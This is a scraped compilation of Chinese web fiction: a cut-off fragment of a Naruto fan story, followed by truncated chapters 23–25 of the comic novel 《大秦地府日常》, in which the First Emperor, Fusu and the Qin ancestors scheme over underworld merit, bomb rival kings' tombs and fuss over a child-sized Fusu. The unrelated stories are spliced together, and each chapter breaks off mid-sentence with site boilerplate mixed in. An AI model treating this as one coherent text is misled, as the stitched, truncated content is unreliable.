“这是忍者学校,再过两三年你就要去学校上学了。” 卡卡西牵着他走到了一幢:不论是动画还是游戏里都会令人觉得眼熟的建筑前,指门对鸣人笑着说。 他每次出门都会领鸣人走来这里,且每次都会说一样的话。 鸣人觉得自己就算不记得路,但哪天要是一个人出门迷路了的话,也能无意识地走着走着就走来了这里。 或许这就是他的目的吧。 卡卡西又领着他离开了这边。 忍界和平时代里的木叶街 边有着多到数不清的玩具、零食摊。卡卡西买了个新的小猫布偶后,又付账要了一棍,塞到了鸣人的手上,牵着他继续逛。 糖果、点心,大多数小孩子喜欢吃的东西卡卡西都每样买了一点,和鸣人说先帮他拎着,吃完以后随时可以拿。 ……就连现实里的家长也有很多不会对孩子如此溺爱的。 鸣人得到了很多想要的东西当然也会很开心,但开心之后,就感觉自己的压力很大。 他不知道卡卡西是什么想法。 也不知道是不是把对那几人的感情全都投入到 第 23 章 风云变换 《大秦地府日常》全本免费阅读 法则既然按照不同君王的作风给他们划分了行类,还把暴君仁君之类的细分了那么多情况出来,显然不是闲得没事做。 始皇很快找到了他想看的东西。 根据功德计算器里的举例,扶苏那种著名仁君在得知真相的情况下,施行本不会推广的仁政可以获取总量30%的功德。 往下一个档次的普通仁君,则只有25%。 和仁君不沾边的人这么折腾,就得看他们具体是怎样的风评了。 明君那一类的,给15到20%不等。昏君暴君那一类的,最多按照底线给10%。要是特别残暴和昏庸的君主,还会降到5%以下。 看得出来法则很不情不愿了。 举个例子,倘若胡亥那样的货色机缘巧合得知了这件事,为了功德开始施行仁政。哪怕他推行的仁政当真造福了不少黎庶,知情人难道还真能咽得下那口气? 左右这些操作已经能帮他洗白身上的一部分污名了,说不准到时候后世还会有人夸他是个好皇帝呢,也算是让他得了天大的好处。那么功德少给一点,也不过分吧? 不过法则到底还是见不得这种东西给自己洗白的,所以功德计算器里也提醒了一种扣除功德的操作—— 「若知情人将功德获取之事告知昏聩残暴之君,将罚没50%到100%功德,具体数量根据对方的昏聩程度而定。」 同样的,告知平庸之君,也会罚没10%到30%。 始皇没被罚款,纯粹是因为他告诉的是在后世名声好的扶苏。 也就是说,阴魂来到阳世之后,其实可以选择协助仁君造福万民。在位的如果是个昏君,法则宁愿你在起义军头领里挑个人品好的告诉,也不希望你帮昏君稳住朝纲。 始皇敲了敲桌案: “若朕当时不曾明言,只是暗示呢?” 功德计算器给出了回应: 「将按照暗示程度扣除一定的比例。」 随口提一句,对方愿不愿意照做都行,这种扣的比较少。要是好说歹说劝着人家干好事,扣的就比较多了。 不过总体来说,还是比直接说出真相要好上许多。 始皇敛眸沉思了片刻。 他在算账。 若他当初没有直说 ,而是选择了暗示,那么扶苏会听父亲的话吗? 答案是很显然的。 始皇其实根本不需要明言,哪怕他只是随口提一句“朕希望你能多做点造福万民的事”,扶苏都会当圣旨去执行。 如此一来,其实能够额外赚取到不少功德。如今扶苏的收益比预计的减少了许多,幸而好歹比完全不知情时好上不少。 毕竟即便一个新政策只给三成功德,也比没有这个新政策强。始皇给儿子带来的改良政策不少,足以弥补扶苏本来就会施行的政策中被扣除的部分了。 扶苏听罢父亲的分析,笑了笑: “阿父怎么在纠结这个?我这些仁政能赚取的功德只是杯水车薪罢了,不像父亲一统天下那般影响深远。哪怕日后我没钱花了,难道父亲还会舍得不接济我吗?” 扶苏只想当个啃老的小废物罢了。 要不是做这些事情可以替阿父减轻压力,他也不会这么上心。阿父有两大家子要养呢,不能光让阿父一个人出力。 不过现在好像可以驱赶先祖们出去自力更生了是不是? 扶苏眼眸一转: “既然自己私自跑来阳世施行仁政也能赚取功德,那就让先祖们多出门干活。不要整日里招猫逗狗,只顾和六国国君干架。” 他爹愿意出养老费是一回事,先祖们又不是老到什么事都干不了了,自己打一份零工多赚点钱不应该吗? 始皇哑然失笑: “你怎么整日里想着欺负先祖们?” 扶苏顾左右而言他: “父亲在这里一统华夏能获得那么多功德,去了残缺位面的话,是不是也能如法炮制再赚一笔?” 哪怕只给1%的功德,也是很多人一辈子都不敢想的巨款了。 出门问问那些国君,给他们分始皇帝存款的百分之一,绝对没有任何人会嫌弃。毫不夸张的说,六国这群国君的存款加起来,可能都没这么多。 始皇倒是很理智: “朕的功德奖励如此之多,是因为后头的朝代都以朕定下的大一统为基础。他们在延续大一统,否则光朕一人也无济于事。” 比如正史位面,倘若刘邦没成功上位,让项羽那个搞分封的家伙拿到天下了。始皇帝的大一统之功基本就废了,只能赚个 当时一统了天下的快钱,后续千百世的功德遗泽根本不会到账。 始皇存款那么多,可不只是大一统本身带来的功德。是法则综合计算了这件事在未来产生的影响之后,把以后的收益也一并给了他。 就好比你放在银行的存款,过一段时间之后账面上只会有本金和存储期间的利息。但法则大气,它提前把未来你很多年的利息一起结算到账面上了。所以你的账户总额就此定格,不会再增长。 ——因而,刘邦得到的功德也非常多。 扶苏明白了: “这还不简单?阿父先去一统天下,然后等王朝末年的时候,我再去假扮起义军,延续阿父的大一统盛世。” 这样连续两个王朝都是大一统,后世绝对一直遵循大一统! 始皇:…… 法则被你玩明白了是吧? 始皇开了个玩笑: “倘若如此,每逢王朝末年,我大秦都可以派人进去干涉,再造乾坤。结束乱世的功德奖励也不少,比单纯施行仁政要多。” 施行仁政可能要几十条政策加起来,才有一个结束乱世的收益那么多。具体看乱世有多乱、多少百姓流离失所活不下去。 谁让皇帝就算不施行仁政,大部分时候治下的百姓也就顶多就是日子难过一些。只要在位的不是暴君和昏君,好歹性命无忧。 换成乱世那可就大不相同了。 始皇猜测扶苏去了地府后功德不会少,并不是因为扶苏仁政推行得多。而是因为两世下来他家太子施行仁政时的社会环境比较特殊。 前世那会儿,正值始皇帝驾崩,天下反贼四起。虽然不是乱世,却也和乱世差不多了。 他镇压叛乱、安抚万民,算下来抵得上大半个终结乱世了。再加上在此之前庶民过的日子水深火热,秦律实在严苛,也能反衬出仁政的重要性。 今生的扶苏则是直接参与了灭六国的过程,为了加快父亲统一天下的进程,他提出过不少颇具效果的计谋。 而且在父亲的支持下,其实统一之前扶苏就在推行各类新政了。那个时候是真真切切的乱世,造福的也确实是乱世之民。 扶苏笑吟吟地看着父亲为他算账: “幸而阿父购买了屏蔽天道的功能,否则天道看 着我们在这里算计怎么赚钱,一定会很怄气。” 始皇放下笔,利用光屏将之拍照留存。而后就取下灯罩,把纸张点燃烧成灰烬了。 “那东西只能五日屏蔽天道一次,一次持续半个时辰。时间快到了,你记得谨言慎行,不要被它发现。” 扶苏乖巧地点头答应了下来。 始皇看了眼天色,起身朝外走去。天色尚早,可以出去散散步,总坐在屋中对身体也不好。 扶苏连忙跟上。 散步的时候闲着也是闲着,他就顺便在心里盘算起来,接下来要怎么做。 其实功德的赚取规则非常明晰,就是多做点对黎庶好的事情。 虽然大一统看起来好像只是对华夏文明的传承有好处,实际上天下一家可以减少很多不必要的战乱。多国林立就会频繁出现战争,春秋战国就是最好的例子。 找到了根源之后,就能反推出更多的东西—— 研究出解决瘟疫之法的医者,是不是能赚取倍于仁政的功德?毕竟政策永远是一时的,换个昏聩之君上来可能就给你废掉了。 但瘟疫的应对方法只要不失传,就一直会有人拿来,不断地救助百姓。千百年下来,不知道能救多少人。 还有一些野蛮的荒谬风气,例如两百年前秦献公首次在大秦境内废除人殉制度。后来历代国君坚持执行,再到父亲完成天下一统的伟业,让整个九州大地都再无人殉。 这一项政策能延续多久,就能救多久的人,献公和父亲都能得到相应的功德。 扶苏灵光一闪: “这么一来,献公其实应该挺有钱的?” 始皇颔首: “朕上回给他发养老费,他说他不缺钱,准备拿那笔功德给你买个礼物。” 扶苏的表情顿时古怪起来: “他必然比昭襄王有钱,那为何之前都是昭襄王出钱接济缺钱的先祖?” 始皇也想了想: “或许是他傻吧。” 别的不说,孝公肯定比昭襄王有钱。商鞅变法对大秦的重要性不言而喻,直接跟后头大秦能不能一统天下挂钩的。 结果出钱的时候反而是秦稷出大头。 能在秦国当上国君的,没几个是蠢人。秦稷再聪明,要是被 大家联手哄骗,还真有可能上当。 毕竟这家伙以前也不是没上过赵王挑拨离间的当,白起不就是这么和他离心的么? 扶苏小声吐槽: “我猜是昭襄王在地府太嘚瑟了,引起先祖们的不满。于是先祖们故意下套坑他,哄着他出钱养大家。” 始皇刚要点头,忽然发现屏蔽天道的时间已经到了。 好巧不巧,就在扶苏开口说最后这段话的前一瞬。 偏偏父子二人是在户外散步。 屏蔽天道的功能开启的同时,也会屏蔽直播。毕竟就算是天道,也不能随便侵犯人家隐私,它观测众人的方法基本和先祖们围观后辈差不多。 只有法则这个纯粹没有思维的规则,才能无视什么隐私不隐私的,综合评判一个人的功过是非。 刚才屏蔽效果结束了,所以扶苏那句话被直接直播了出去。 地府里头一直眼巴巴盯着光屏,等着围观阳世热闹的先祖们,正好听见了这一句。 先祖们:…… 秦稷:??? 秦稷不可置信地看向众人: “阿苏说的是真的吗?” 孝公撇开了脑袋,不作回应。 献公低头数衣服上的花纹,假装没听见。 其余几个不差权的秦君也各自交谈、打瞌睡、琢磨光屏,仿佛一个个都忙得很,没空搭理秦稷。 唯一一个勇敢对上秦稷目光的,是他亲爹秦驷。 秦驷在位时期打下了巴蜀之地,为大秦获取了一大粮仓。后续天下一统之时,巴蜀的粮食供给居功甚伟。 所以秦驷其实也很有钱。 当然,在巴蜀修都江堰的李冰父子也很有钱。所以李冰父子修建水利工程期间,在位的秦稷和秦柱也没少分到好处。 但这不重要。 重要的是秦稷突然发现,他爹也可能比他有钱。 秦驷威严地瞪了回去: “看寡人做什么?你身为小辈孝敬长辈不是应该的吗?” 秦稷:…… 老流氓这辈子没被占过这么大的便宜,气都要气死了。 尤其他之前还和政儿炫耀过,说以前祖宗都是他在养。他觉得这样显得他大方又有钱,很有面子。 现在 你告诉他,这些都是先祖们联合起来坑他的,啊??? 一下子就从秦国大魔王变成人傻钱多了。 可恶! 秦稷决定出去欺负几个楚王赵王的,找回自己丢失的面子。 地府里今日天气不错。 虽然大家都是鬼魂,但其实也不太喜欢阴沉沉没有太阳的日子。反正地府的阳光又不会灼伤魂体,想怎么晒怎么晒。 楚怀王想着最近秦人好像挺忙的,已经很久没有出来欺负人了。于是壮着胆子走出楚墓扎堆的郢都,打算在周围逛逛。 郢都这个地方对楚人来说真是多灾多难。 当初白起攻楚,打到了这个楚国旧都,然后把西陵的楚先王陵墓给烧了。得亏没把墓挖开再放火,只烧掉了地面建筑,不然现在一大群楚国先王都得住在烟熏火燎过的破房子里。 楚怀王比较不幸,他在白起干这事的二十年前就被骗到秦国,遭到了秦稷的软禁。后来客死异乡之后,被送回了楚国,正好葬在郢都这块儿。 不过他的墓被烧了没有,秦稷也不太确定。毕竟当时白起随便烧的,逮谁烧谁,哪里顾得上一个个去打听里头埋的是哪个。 虽然不管烧没烧也不影响他们仇视秦稷就是了。 尤其某个家伙到了地府也不放过他们。 楚怀王一边往外走,一边愤愤地咒骂: “街溜子!” 这是他最近新学的词,用来骂秦稷他觉得非常合适。秦稷就是这样的,整日无所事事,到处闲逛,找弱势群体欺负。 这里的弱势群体特指六国国君。 秦稷问他: “你刚刚骂谁街溜子呢?” 楚怀王以为是其他楚人,毕竟这里可是楚国旧都,一般也不会有别人往这头乱窜。 所以楚怀王想也不想就回答: “当然是秦稷那个家伙了。” 说着回头去看是谁问的这么傻的问题,听声音有点耳熟又有点陌生。 定睛一看,长相也是陌生又熟悉。 楚怀王迟疑了: “你是?” 秦稷咧嘴一笑,走上前拍拍他肩膀: “寡人你都不认得了?” 随后不等楚怀王反应,一拳头直中对 第 24 章 苏醒 《大秦地府日常》全本免费阅读 拆房子,无论放在哪里,都是一项大工程。 地府的墓显然也没那么好拆,毕竟一开始建造的时候,很多人就会考虑防震之类的问题。 更何况这些还都是贵族的墓,那就更不像一般房子那么好拆了。 无所谓,始皇帝会出手。 始皇帝直接眼也不眨地下单了一堆热武器的弹药,分发给领头的骑兵。 先把墓轰塌了,再给它拆个稀巴烂。 要不是在自己的墓里陪葬一堆火药太危险,其实一开始扶苏是想多搞些火药的。这样阿父在地府能更方便些,想震慑谁震慑谁。 之前始皇帝在阳世的时候,靠着先祖们打听了不少各界的新式技术,扭头就教给扶苏了。 所以大秦现在能做比较简单的热武器,干脆就给兵马俑都配上了。只是没有弹药而已,因而才需要单独下单弹药。 老古董六国国君们哪里见识过热武器的威力,当即就被炸了个人仰马翻。 ——对不起,他们没有马。 当即就被炸了个天女散花,一眼望去,无人生还。 秦稷站在城墙上眺望: “哇哦,这就是热武器打仗的感觉吗?这个很可以啊,能带去任务世界吗?” 秦柱看了一眼功德商城: “不行,这个只能在地府里玩玩,而且价格还特别贵。关键是它只卖弹药,不卖武器。” 谁能想到有人会往陵墓里塞那么多不带弹药的火铳,就等着来地府买弹药呢? 秦子楚觉得其中有诈: “天道故意的吧,知道政儿有火铳,所以故意上架弹药。这些都是一次性消耗品,还只能在地府里用,明显是想把政儿的存款耗光。” 天道为了赚钱也是蛮拼的了。 它甚至特意没有第一时间让人来处理这边的冲突,而是默默等待。等火铳把那些六国国君都炸飞,等将军们带着人去把他们的墓都拆完了,才放府君出来处理。 府君照着最新律法宣布: “你们这个属于防卫过当,虽然是对面先挑事的,但是你们报复得也太过了。” 说这话的时候,府君还冲始皇帝挤眉弄眼。示意这可不关他的事,他就是一个底层打工人,不是他要跟始皇帝过不去的。 老板千万不要误会他,下次有活还找他。 始皇微微颔首: “直接说处罚吧。” 新版律法的处罚机制基本就是扣钱、扣钱、再扣钱。 之前商议立法的时候始皇不在地府,但这并不影响什么。律法内容他们内部早就讨论过八百回了,最终条款一定要努力磨得天道定为对大秦有利的那种。 天道坚持律法要公平,始皇表示这是当然,他们可以接受公平的新法案。在公平的基础上也是能操作的,比如只扣钱的话就明显对大秦非常有利。 谁让他们不差钱呢。 偏偏你还不能说这种处理方式不严重,因为功德存款直接和阴寿挂钩。表面上这是在扣钱,实际上是在扣命。 天道觉得这个好,可以扣始皇帝的钱。始皇帝可以是违规大户,必然能被扣走很多存款。 始皇也觉得这个好,他钱多的是,现在还知道该怎么赚功德了。比起被关小黑屋什么的,还是扣钱比较划算。 府君很快出了个罚单,从始皇帝扣到领兵的将军们。要不是兵马俑不是活物,天道可能还想让他给兵马俑挨个发一张罚单。 始皇直接说: “从朕的账户上扣,不用动将军们的存款。” 吴起:“陛下大气啊!” 乐毅:“多谢陛下!” 也不是所有名人都不差钱的,有些人青史留名,但干的事情和造福万民无关,存款就比较捉襟见肘。 今日体会了一番带领千军万马用热武器冲杀的快乐不说,还免了罚款,大家都很高兴,觉得赚了。 孙武笑眯眯地说: “今日伍子胥没来,真是可惜了。” 没到场的错过了这么有意思的事情,下回还想领兵就不知道要等多久了。 事后伍子胥听说他错过了重新拜山头后的第一次团建,十分扼腕。火铳他都没摸过呢,听说打人特别疼。 秦稷问道: “分给寡人的守卫军可以佩戴火铳吗?寡人不多要,给那一百骑兵配上就行。” 始皇回答他: “你自己买弹药朕就给你。” 秦稷啧了一声,薅羊毛失败,但到底还是接受了。谁让商城不卖火铳,只卖弹药。 府君还 没走。 众人看向他,问他还想说什么。 府君有些期期艾艾: “那个,天道说你们把人家的家给砸了,要赔钱的。” 暴脾气的武将们立刻把他拎起来了: “再说一遍?” 那群家伙自己上门讨打,家被拆了纯属活该。还想让他们赔钱?做梦去吧! 府君求助地看向他老板: “不是我说的啊,你们拎我干啥?是天道说的,你们和天道掰扯去,我就是一个底层打工的。” 始皇示意他们放下府君: “他们上门挑衅,赔朕精神损失费了吗?” 府君悄悄给老板竖起大拇指。 还是老板脑子灵活,对,就该这样,别跟天道在这个话题上犟,找别的角度破局! 府君欣然回答: “还没有,您对这个损失费的报价是?” 当初秦人仗着天道他们不懂律法,在里头埋了不少可操作空间。考虑到以后可能经常会有仇家聚众上门,所以针对这件事制定了不少内容。 比如,聚众上门寻仇的行为,会处以更加严厉的惩罚。所谓的更加严厉,就是罚款会倍于其他罪责的金额。 不过这里头是能调解的,如果被寻仇方决定不和他们计较,那罚款就能从轻判决。 另外就是被找茬的人得被赔付精神损失费,具体赔多赔少按照两边商议的来。受害者可以多要但不能少要,免得对面借着拳头大赖掉赔偿金。 这两条款项夹在一起,现在摆在六国之人眼前的就只有一个选择了—— 被炸得脑子嗡嗡响的合纵纵长站出来: “那什么,我等同意签调解书,不追究你们砸坏墓穴一事。但你们也要签调解书,不追究我们上门挑衅的事情,不许要太多损失费。” 拆房子的赔偿,可不一定有损失费和罚款加起来多。主要他们打不过秦人,价格上面肯定谈不拢,容易吃亏。 还不如各退一步,认栽。 既然牵扯到钱财之事,巴清等人又出列了,由他们负责商讨。 六国想一分钱不赔是不可能的,至少得赔一点。 什么你说秦人已经把他们的墓砸了,应该得饶人处且饶人了?呵呵,你们是不是忘了 被砸了墓的只有本位面的,其他位面的可是华丽隐身了。 本位面六国人一听,对啊!凭什么我们的家被拆了,他们没被拆?! 不行,必须赔钱,让他们赔钱!大家都得倒霉,不然他们不服! 最后这群人分成了两拨。 被拆了家的,和秦国和解。交了少数精神损失费,回去头疼修房子的事情了。 没被拆家的,秦国抓着他们上门寻仇的事情不放。导致他们赔了一大笔钱,把始皇帝先前买弹药的亏空给补上了。 就是可惜他们出的赔款里有一部分是罚款,罚款是要罚给天道的,倒是让天道赚了一笔。要是能全数进大秦腰包的话,之前那群人大秦也不和他们和解了。 正是因为大秦只能拿到精神损失费,拿不到罚款。而光是一个损失费的话,抵不上给出去的房屋补偿款。 所以他们才选择了和谈,然后额外让对方补一笔数量不算多的损失费。 至于后头这些,房子都没拆,就谈不上房屋补偿款了。大秦可以尽情地狮子大开口,跟他们要损失费。 要不是看他们穷,再多要点得把家底都掏空了,大秦的开价还会更高。 这次的事情算是给个教训,免得他们下次还敢掺和进其他位面的事情中来。 外援们心疼到滴血: “我们来之前也没想到你们这个位面的地府律这么丧心病狂啊!” 反正他们那个位面的地府律不是这样的,据说各界都不同。 他们那边是被罚坐牢。 这群人就想着,自己这么多人被关在一起呢,还能聊聊天打打牌什么的。坐牢就坐牢,有什么大不了的。 哪里能想到,别家是另一种处罚方式。而且入乡随俗,跑去人家地盘要按照人家的方法罚钱,而不是按他们位面走。 刘季抄着手呵呵一笑: “瞧你们说的,你们以前去别国游学的时候,难道还能按故国的律法行事吗?” 韩赵魏敢说自己去了秦国,可以不管秦律随心所欲? 外援们:…… 虽然这么做确实不现实吧,但他们以前去别国游学的时候,大部分时间是不用管那些律法的。 因为六国就没什么律法,除了秦国这个奇葩之外,别国律 法基本只约束庶民。而他们,一群高高在上的贵族,压根不受影响。 李信乐颠颠地领兵护送他们去传送阵: “下次再来啊!” 来一次他们就能领兵潇洒一次,还能赚一笔赔偿款,一箭双雕! 外援们立刻走得更快了。 想必这件事之后,再不会有外援敢来梓桑位面挑衅。要钱没有要命一条,扣钱的地府律真是太可怕了。 而且请外援的本地人也是不讲道义,本地人的家被拆了关他们什么事?凭什么和谈的时候不带上他们! 大家好心来给你帮忙,结果你自己先躲开了,留下好朋友独自应付赔偿款,没有这样的道理。 本地人:呸!你们还好意思说是好心帮忙!分明就是好不容易逮到个聚众攻打大秦的机会不想错过,跑这里来报仇的! 原本这群人还商量呢,要是在这边成功击败了秦人,下次就可以如法炮制,再去其他位面进行第二次、第三次、第四次。 结果地府偷偷背着他们修改了地府律。 本地人:啥时候的事啊,我咋不知道呢? 府君:之前通知过啊! 本地人终于想起来了,但想起来之后就更难过了。 他们听说其他好多位面都是关禁闭的,就以为自家也是这样的来着。然后就没往心里去,没想到会栽这么大一个跟头。 一群田氏的齐王蹲在被拆得七零八落的墓跟前,长吁短叹。 “还好寡人的精美器玩没有被那火弹砸坏,不然要心疼死寡人了。” “寡人的珍藏被砸碎了不少,呜呜!” “这砖都裂成两半了,还能用吗?” “应该问题不大,有粘合剂就行。但问题是你会砌墙吗?不会的话问了也白问。” “齐地连山洞都没多少,总不能去海涯凿石制造山洞。” “可恶,吕齐的墓还在!” “吕氏的齐王说他们和秦国没有旧怨,灭国的仇也算不到秦人身上,所以不肯参加我们的复仇活动。” “……” 人群一时陷入了沉默。 齐国原本是周朝初年,由西周开国元勋姜子牙受封齐地,才建立的诸侯国。 姜子牙是姜姓吕氏,名尚,字子牙,所 以他的大名应该是吕尚。先秦男子一般不称姓只称氏,而表字是为了避免直呼其名才采用的代称。 因为先秦时期巫术盛行,人们认为巫术可以通过姓名进行诅咒。用表字来称呼,巫就不知道你的名是什么了。 齐桓公时期,陈国的公子在陈国被灭后逃入齐地为官。改妫姓陈氏为田氏,借此躲避仇家。 后头历经两百八十多年,田氏靠着“有德于民,民爱之”,成功篡权上位,取代了吕齐——后世人比较习惯称姜齐。 这就是田氏代齐的故事。 姜齐跟他们拉锯那么多年,最终还是失败了。比起什么没影的秦国灭齐,仇恨值肯定是稳稳落在田齐头顶的。 就像赵魏韩三家分晋之后,晋国也死盯着这三家不放,根本没兴趣找秦国麻烦。 今日田齐倒了大霉,姜齐还特意过来嘲笑了他们一番。 有个特讨厌的人摇头感叹: “这又是何必呢?非要和秦国过不去,现在好了吧,房子都没了。” 田齐们怒目而视。 结果定睛一看:?????? 这哪里是姜齐的人,分明是他们田齐的人。而且不是别人,正是最后一任国君,那个向秦国投降的齐王建。 齐侯建立刻蹦了起来: “你别胡说!我可不是什么齐王!我是大秦齐侯!你别害我!” 他们这群亡国之君后半生可是在咸阳度过的,墓穴也建在关中。 因为他齐侯非常乖巧配合的缘故,太子扶苏看他很顺眼,还特意按照齐王规格给他准备了墓葬呢。 来地府之后,齐侯曾经去其他位面转过一圈。不打听不要紧,别的齐侯日子也太惨了,居然被始皇帝丢去山林里活活饿死。 齐侯建吓得立刻窜回了自家。 还是他们这边的始皇帝好,从来没想过卸磨杀驴弄死他。他后半辈子过得比在齐国当齐王还舒坦,现在死下来了也比他好些先祖有钱。 嘿嘿嘿,天道说了,因为他在秦灭魏国和楚国的时候提供了许多帮助,所以他被分到不少功德呢。 回想当初,始皇帝和太子扶苏各种明示暗示让他出钱出粮。他掏钱掏得特别利索,假装没看出秦国是在空手套白狼,用齐国的粮食打自己的仗。 < 第 25 章 钓鱼执法 《大秦地府日常》全本免费阅读 小太子被酸得口齿都不清了。 偏偏从小的教养让他不能随便往外吐东西,除非有侍者捧着碟子过来,否则那样太失礼了。 小太子只能一边含着那颗糖,一边掉眼泪,哭得可怜巴巴。 始皇手忙脚乱地去找碟子。 碟子没找到,想起床边有巾帕。拿起来让儿子吐到帕子里头,这才得到了拯救。 但是小太子可怜的舌头已经被酸得说话都说不利索了。 小孩往床上一爬,躲回了被子里。 始皇把包装袋和巾帕都处理掉后,这才回来抱孩子。 始皇已经很多年没有哄过孩子了。 不过业务还是非常熟练的,迅速回到了多年前的状态。 他温柔地问道: “这是怎么了?阿父不是故意的,阿苏不要生阿父的气好不好?” 小太子呜呜了一声,不想理阿父。 那个糖酸死了,他最怕酸了。 古代人没见过柠檬,又很不幸地买到了果味非常还原的糖果,柠檬味的酸度相当的写实。 始皇哄了一会儿也没见儿子消气,就自己开了一枚黄色糖果品尝。至少得知道这糖是什么问题,才好对症下药哄孩子。 一秒钟后,始皇:…… 口味这种东西,很多时候都是遗传的。 比如扶苏喜欢甜食、辣味、鱼虾海鲜,始皇也喜欢这些。扶苏非常怕酸怕苦怕涩,尤其讨厌果酸和汤药,始皇显然也不是很能吃酸与喝药。 始皇没有勉强自己,也找了个帕子把那糖果吐了。 毁尸灭迹之后,他知道问题所在了。 伸手将儿子从被子里挖了出来,强硬地抱在怀里安抚: “是阿父不好,没有仔细检查那些东西的味道就给你吃了。这次阿父先找个好吃的,再喂给你好不好?” 向儿子道歉不丢人,他还会冲儿子撒娇呢。秦王撒娇,熟练极了。 小太子到底还是好哄,点点头答应下来。 始皇斟酌片刻,在糖果外包装后面看了好一会儿。他买到手的包装上印刷的文字被贴心地印成了秦隶,完全能够看懂。 西瓜味、蜜桃味、草莓味、橘子味…… 很多种口味,但这些陌生的名词 根本就不知道是什么果子。始皇只能把每种颜色都挑一个放出来,挨个拧开闻一闻。 水果味的糖果会带着果香,大部分都能区分出来。得益于大秦这些年丝绸之路引进了不少新物种,里头一小部分他是分辨得出来的。 最后始皇挑中了一个闻起来是桃子香的。 这个应该就是蜜桃味,蜜桃蜜桃,顾名思义,吃起来甜蜜的桃子。那就肯定是纯甜了,不会有稀奇古怪的酸味。 保险起见,始皇还自己吃了一颗。确定没问题之后,塞给了宝贝儿子。 小太子终于破涕为笑,搂着阿父的脖子开心地说好吃。 始皇捏住他的脸颊: “你吃个糖差点把阿父折腾出一身汗,怎么那么难伺候呢?” 小太子躲开了他的手指,把脑袋往阿父怀里拱,像个小狗崽一样。 秦稷大大咧咧闯进来: “阿苏醒了没——嘶!这是什么?!” 秦稷看着其乐融融的父子俩,不由瞳孔地震。 你们真会玩啊!扶苏居然变成小孩哄爹开心!这就是别人家的儿子吗?酸了。 始皇还记得某人想抢他儿子,立刻把孩子抱紧,警惕地看过去。 他略带防备地问道: “昭襄王怎么进来了?进旁人寝殿竟也不通传一声吗?” 阿苏现在变成了幼儿,好哄得很,万一被骗走了就不好了。他得隔绝二人的接触,不给秦稷下手拐带他儿子的机会。 秦稷倒是下意识回怼了一句: “通传?那也得你这里有侍者能通传才行啊!” 始皇顿时想起来了。 侍者俑还是不太好用,他们不会说话。应当去联络一下生前侍奉他们父子的人,问他们愿不愿意受雇回来做佣人。 想来应该是愿意的,当初好些人都自请死后陪葬在骊山陵,说去了黄泉地府也想继续伺候陛下和太子。 不过之前先祖们说所有鬼魂都恢复了自由身,哪怕是奴隶和仆从也一样,始皇就没去联络他们。 虽然那些人其实生前就已经被扶苏做主恢复了平民身份,本来可以去外头做个富家老太爷,给自己修个好点的墓穴的。 想到这里,始皇借口有事,强硬但不失礼貌地把秦稷请出去 了。而后寻到了那些侍者的联络方式,问他们是要拿一笔功德去投胎,还是回骊山陵来。 鬼魂不是非得阴寿尽了才能投胎的。 提前投胎,就可以用剩余的存款购买下一世的原生家庭条件了。没钱的只能随机,有钱的可以给自己制定一些不错的要求。 不同的要求有不同的价位,有些不想在地府待的人就会选择投胎。反正阳世人口越来越多,投胎不用排队。 就是买条件消耗掉的功德是不退的,谁也没办法确定自己下辈子会不会是个十恶不赦的大坏蛋。 那种人会被扣很多功德,可能下回再来地府,不仅功德没增加,还倒欠。倒霉点,就要去投动物胎了。 总之大部分人还是不愿意立刻投胎的,宁愿在地府耗着,然后拼一个免费的“随机”家庭条件。 运气好就能随机到权贵之家。 始皇联系的侍者们大部分还是选择了回骊山陵继续侍奉君上。 倒不仅仅是什么“奴性未消”的原因,而是始皇给钱大方。始皇也说了是过来受雇干活的,不会再像以前在阳世那般讲究什么“雷霆雨露皆是君恩”,那就跟后世的住家保姆没什么区别了。 以后赚够了功德想投胎了,始皇也不可能拦着他们。那为什么不趁着还没想法的时候,先来多攒点家底呢? 骊山陵里很快多了不少人气。 侍者中资历最老的那位主动安排起了众人的活计,而后带了几个侍从进殿来听候差遣。 未曾想会见到年幼模样的太子,一个两个都愣住了。 始皇简单解释了两句: “太子吃了养魂的丹药才变成了这样,过几日就恢复正常了。” 侍者松一口气: “殿下没事就好,不知陛下可有吩咐?” 始皇翻了翻功德商城,把一堆他看着觉得不错的零食都买了一份。交给侍者们拿去试吃,找出符合太子口味的,剩余的都让他们自己分了。 这是个好差事,大家顿时高高兴兴地应下来。 以前哪有闲钱吃这些东西,周围的庶民们都不敢乱花功德的。而且里头有好多价格非常昂贵的零食,看一眼售价就要眼晕。 他们抱着一堆东西出去了,路过花园给先王们行礼。 秦柱问他们这是在做什么。 侍者们如实说了。 秦稷:“?所以政儿宁愿让侍者去试吃,也不找我等是吗?” 秦子楚:“可能是信不过你的口味吧,你又不知道阿苏爱吃什么。” 秦稷:“哼。” 秦非子喜欢小孩,忍不住问道: “阿苏当真变成小孩子了吗?政儿何时带他出来见见人?” 正说着,看见始皇牵着一个几岁的小公子走了出来。 小太子好奇地看着这些陌生人: “阿父,他们是谁?” 始皇带着他不紧不慢地走过去: “一群无关紧要的先祖罢了。” 他儿子那么可爱,其他先祖看了肯定也要抢。先把他们的距离拉开,免得阿苏被哄骗。 无关紧要的先祖们本人:…… 秦驷干咳一声: “阿苏,来,我是你天祖父。” 秦柱也迫不及待开口: “我是你曾祖父。” 秦稷不甘示弱: “我是你高祖父。” 孝公本来想矜持的,看他们这样也矜持不下去了: “我是你烈祖父。” 穆公张嘴想数辈分,发现隔太多辈了,数不过来,干脆表示: “喊我老祖宗就行。” 小太子已经晕了: “阿父,我分不清了。” 始皇把孩子挡在身后,瞪了不着调的先祖们一眼。喊什么祖父,直接喊谥号得了。 他于是搂着小孩在人群中坐下,挨个指给小扶苏看。比起这个祖父那个祖父的,谥号确实好记一些。 只是秦子楚有些不满: “他们那些人喊谥号也就罢了,我可是阿苏的亲祖父。” 不该直接喊他祖父或者大父吗? 始皇没有搭理他爹: “阿苏,记住了吗?” 小太子乖乖点头,窝在父亲怀里偷看了笑容和蔼到有点夸张怪异的先祖们,很快又把脑袋埋回了父亲肩窝里。 他和始皇咬耳朵: “他们笑得好吓人呀,阿父。” 始皇心说不错,果然刚才没有提醒先祖们收敛表情是对的。 伸手摸摸小孩的发 顶: “没事,我们不和他们多来往。” 言下之意一群远房亲戚,认识人就差不多了。 先祖们:……政儿你不要太过分。 某人仗着是全家最出息的崽,真的很嚣张。 秦稷啧了一声: “小兔崽子怎么小时候这么腼腆害羞?跟他长大了完全不一样啊。” 扶苏还有这么纯良的时候? 不会是装的吧? 秦稷探究地看向小孩。 始皇用宽大的袖袍遮住了儿子,简单把副作用的事情说了。重点强调他家崽是真的变回小孩了,不要在小孩面前说一些奇奇怪怪的话。 但是这样的解释说出来后,难免引起众人的兴趣。难得遇到这种情况,不抓住机会刷小孩的好感度那多浪费。 先祖们纷纷下单小零食。 